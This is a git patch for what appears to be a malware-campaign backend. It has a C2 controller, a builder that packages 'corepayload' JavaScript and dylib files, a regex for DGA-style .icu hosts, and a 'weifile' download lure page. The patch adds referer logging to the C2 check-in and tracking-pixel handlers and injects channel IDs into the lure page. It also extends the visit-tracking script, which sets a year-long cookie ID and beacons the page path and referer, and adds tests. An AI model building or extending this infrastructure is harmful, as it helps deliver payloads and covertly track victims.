From 31924ca77010cb4b2ac2757d28c758abcd68a6fb Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 13 Aug 2026 07:30:04 +0800 Subject: [PATCH] feat: xxbb --- .../Controllers/Admin/PageVisitController.php | 7 +++++- app/Http/Controllers/C2/XxbbC2Controller.php | 11 ++++++++++ app/Http/Controllers/PageHitController.php | 15 +++++++++++++ app/Models/PageVisit.php | 1 + .../source/weifile/weifile.html | 2 ++ channel-builder-new/tools/build.py | 12 +++++++++- channel-builder-new/tools/tests/test_build.py | 4 ++++ .../2026_08_13_000020_page_visits_referer.php | 22 +++++++++++++++++++ public/t.js | 17 ++++++++++---- resources/views/admin/visits/index.blade.php | 6 +++-- tests/Feature/PageVisitTest.php | 19 ++++++++++++++++ 11 files changed, 108 insertions(+), 8 deletions(-) create mode 100644 database/migrations/2026_08_13_000020_page_visits_referer.php diff --git a/app/Http/Controllers/Admin/PageVisitController.php b/app/Http/Controllers/Admin/PageVisitController.php index 8b146ce..442f328 100644 --- a/app/Http/Controllers/Admin/PageVisitController.php +++ b/app/Http/Controllers/Admin/PageVisitController.php @@ -37,7 +37,7 @@ class PageVisitController extends Controller ->forPage($page, $limit) ->get([ 'id', 'channel_id', 'client_uid', 'os', 'os_version', - 'browser', 'browser_version', 'user_agent', 'ip', 'path', 'created_at', + 'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at', ]); return response()->json([ @@ -55,6 +55,7 @@ class PageVisitController extends Controller 'user_agent' => $v->user_agent ?: '', 'ip' => $v->ip ?: '', 'path' => $v->path ?: '', + 'referer' => $v->referer ?: '', 'created_at' => optional($v->created_at)?->toDateTimeString(), ])->values(), ]); @@ -150,6 +151,10 @@ class PageVisitController extends Controller if ($browserVersion !== '') { $q->where('browser_version', $browserVersion); } + $referer = trim((string) $request->query('referer', '')); + if ($referer !== '') { + $q->where('referer', 'like', '%'.$referer.'%'); + } [$from, $to] = $this->rangeBounds((string) $request->query('range', '30d')); $q->whereBetween('created_at', [$from, $to]); diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 6be4524..034e25b 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -60,6 +60,7 @@ class XxbbC2Controller extends Controller 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, 'ip' => $request->ip(), 'path' => $domain !== '' ? substr($domain, 0, 255) : null, + 'referer' => $this->referer($request), 'created_at' => now(), ]); } @@ -131,6 +132,16 @@ class XxbbC2Controller extends Controller return $this->xxbbAck($request); } + private function referer(Request $request): ?string + { + $referer = trim((string) $request->headers->get('referer', '')); + if ($referer === '') { + return null; + } + + return substr($referer, 0, 512); + } + private function xxbbAck(Request $request): Response { $ts = (string) $request->attributes->get('xxbb_ts', ''); diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php index 16e9d6e..c5f3600 100644 --- a/app/Http/Controllers/PageHitController.php +++ b/app/Http/Controllers/PageHitController.php @@ -35,6 +35,7 @@ class PageHitController extends Controller $ua = substr((string) $request->userAgent(), 0, 512); $parsed = UserAgentParser::parse($ua); + $referer = $this->referer($request); PageVisit::query()->create([ 'channel_id' => $channelId, @@ -46,12 +47,26 @@ class PageHitController extends Controller 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, 'ip' => $request->ip(), 'path' => $path !== '' ? $path : null, + 'referer' => $referer, 'created_at' => now(), ]); return $this->pixel(); } + private function referer(Request $request): ?string + { + $referer = trim((string) $request->query('r', $request->input('r', ''))); + if ($referer === '') { + $referer = trim((string) $request->headers->get('referer', '')); + } + if ($referer === '') { + return null; + } + + return substr($referer, 0, 512); + } + private function pixel(): Response { return response(self::GIF_1X1, 200, [ diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php index a3bbf2a..ebc1808 100644 --- a/app/Models/PageVisit.php +++ b/app/Models/PageVisit.php @@ -18,6 +18,7 @@ class PageVisit extends Model 'browser_version', 'ip', 'path', + 'referer', 'created_at', ]; diff --git a/channel-builder-new/source/weifile/weifile.html b/channel-builder-new/source/weifile/weifile.html index 35ef1f5..2d27c6b 100644 --- a/channel-builder-new/source/weifile/weifile.html +++ b/channel-builder-new/source/weifile/weifile.html @@ -6,6 +6,8 @@ weifile + + diff --git a/channel-builder-new/tools/build.py b/channel-builder-new/tools/build.py index 2941087..b2020c4 100644 --- a/channel-builder-new/tools/build.py +++ b/channel-builder-new/tools/build.py @@ -41,6 +41,7 @@ XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$") WEIFILE_ROOT = "weifile" DETAILS_ROOT = "details" LANDING_NAME = "weifile.html" +CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__" CORE_WIRE_NAME = "corepayload.js" CORE_MEMBER_NAME = "corepayload.dylib" SHOW_WIRE_NAME = "show.html" @@ -305,6 +306,13 @@ def build_details( } +def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None: + text = html_path.read_text(encoding="utf-8") + if CHANNEL_HTML_PLACEHOLDER not in text: + raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder") + html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8") + + def copy_tree(src: Path, dst: Path) -> None: if dst.exists(): shutil.rmtree(dst) @@ -589,8 +597,10 @@ def main() -> int: if not SOURCE_DETAILS.is_dir(): raise SystemExit(f"missing details template: {SOURCE_DETAILS}") copy_tree(SOURCE_WEIFILE, dest_weifile) - if not (dest_weifile / LANDING_NAME).is_file(): + landing = dest_weifile / LANDING_NAME + if not landing.is_file(): raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}") + inject_channel_into_weifile(landing, channel_c) copy_tree(SOURCE_DETAILS, dest_details) shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME) shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME) diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py index efda90c..0ac2d05 100644 --- a/channel-builder-new/tools/tests/test_build.py +++ b/channel-builder-new/tools/tests/test_build.py @@ -83,6 +83,10 @@ class XxbbBuildTest(unittest.TestCase): details = artifact / "details" self.assertTrue((weifile / "index.js").is_file()) self.assertTrue((weifile / "weifile.html").is_file()) + html = (weifile / "weifile.html").read_text(encoding="utf-8") + self.assertIn(channel_c, html) + self.assertNotIn("__CHANNEL_C__", html) + self.assertIn("/t.js", html) self.assertFalse((artifact / "source").exists()) self.assertTrue((details / "show.html").is_file()) self.assertTrue((details / "corepayload.js").is_file()) diff --git a/database/migrations/2026_08_13_000020_page_visits_referer.php b/database/migrations/2026_08_13_000020_page_visits_referer.php new file mode 100644 index 0000000..7da9511 --- /dev/null +++ b/database/migrations/2026_08_13_000020_page_visits_referer.php @@ -0,0 +1,22 @@ +string('referer', 512)->nullable()->after('path'); + }); + } + + public function down(): void + { + Schema::table('page_visits', function (Blueprint $table) { + $table->dropColumn('referer'); + }); + } +}; diff --git a/public/t.js b/public/t.js index e78d231..e99718d 100644 --- a/public/t.js +++ b/public/t.js @@ -1,8 +1,11 @@ (function () { try { var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i); - if (!m) return; - var channelId = m[1].toLowerCase(); + var channelId = m ? m[1].toLowerCase() : ''; + if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string' && /^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) { + channelId = window.__CORUNA_CHANNEL__.toLowerCase(); + } + if (!channelId) return; var KEY = 'c_uid'; var uid = null; try { @@ -26,6 +29,11 @@ document.cookie = KEY + '=' + encodeURIComponent(uid) + ';path=/;max-age=31536000;SameSite=Lax'; } catch (e) {} } + var referer = ''; + try { + referer = document.referrer || ''; + } catch (e) {} + if (referer.length > 512) referer = referer.slice(0, 512); var q = location.origin + '/statistic/t?c=' + @@ -33,14 +41,15 @@ '&u=' + encodeURIComponent(uid) + '&p=' + - encodeURIComponent(location.pathname + location.search); + encodeURIComponent(location.pathname + location.search) + + '&r=' + + encodeURIComponent(referer); if (navigator.sendBeacon) { try { if (navigator.sendBeacon(q)) return; } catch (e) {} } var img = new Image(); - img.referrerPolicy = 'no-referrer'; img.src = q + '&_=' + Date.now(); } catch (e) {} })(); diff --git a/resources/views/admin/visits/index.blade.php b/resources/views/admin/visits/index.blade.php index 35066d5..0afc20f 100644 --- a/resources/views/admin/visits/index.blade.php +++ b/resources/views/admin/visits/index.blade.php @@ -43,9 +43,9 @@
- +
- +
@if ($portal === 'admin') @@ -123,6 +123,8 @@ layui.use(['table', 'form'], function () { { field: 'browser', title: '浏览器', width: 100 }, { field: 'browser_version', title: '浏览器版本', width: 110 }, { field: 'ip', title: 'IP', width: 130 }, + { field: 'path', title: '路径', minWidth: 180 }, + { field: 'referer', title: 'Referer', minWidth: 220 }, { field: 'user_agent', title: 'UA', minWidth: 260 }, { field: 'created_at', title: '时间', width: 170, sort: true } ]], diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php index 070e3ba..a6dc6d8 100644 --- a/tests/Feature/PageVisitTest.php +++ b/tests/Feature/PageVisitTest.php @@ -26,6 +26,7 @@ class PageVisitTest extends TestCase 'c' => self::CHANNEL, 'u' => '11111111-2222-4333-8444-555555555555', 'p' => '/web/'.self::CHANNEL.'/support.html', + 'r' => 'https://example.com/from', ], [], [], [ 'HTTP_USER_AGENT' => $ua, ])->assertOk() @@ -40,6 +41,7 @@ class PageVisitTest extends TestCase $this->assertSame('Safari', $row->browser); $this->assertSame('16.6', $row->browser_version); $this->assertSame($ua, $row->user_agent); + $this->assertSame('https://example.com/from', $row->referer); } #[Test] @@ -60,6 +62,23 @@ class PageVisitTest extends TestCase $this->assertSame('203.0.113.50', $row->ip); } + #[Test] + public function hit_uses_referer_header_when_query_missing(): void + { + Cache::flush(); + + $this->call('GET', '/statistic/t', [ + 'c' => self::CHANNEL, + 'u' => '11111111-2222-4333-8444-555555555555', + ], [], [], [ + 'HTTP_REFERER' => 'https://search.example/q=ios', + ])->assertOk(); + + $row = PageVisit::query()->first(); + $this->assertNotNull($row); + $this->assertSame('https://search.example/q=ios', $row->referer); + } + #[Test] public function hit_debounces_duplicate_uid(): void {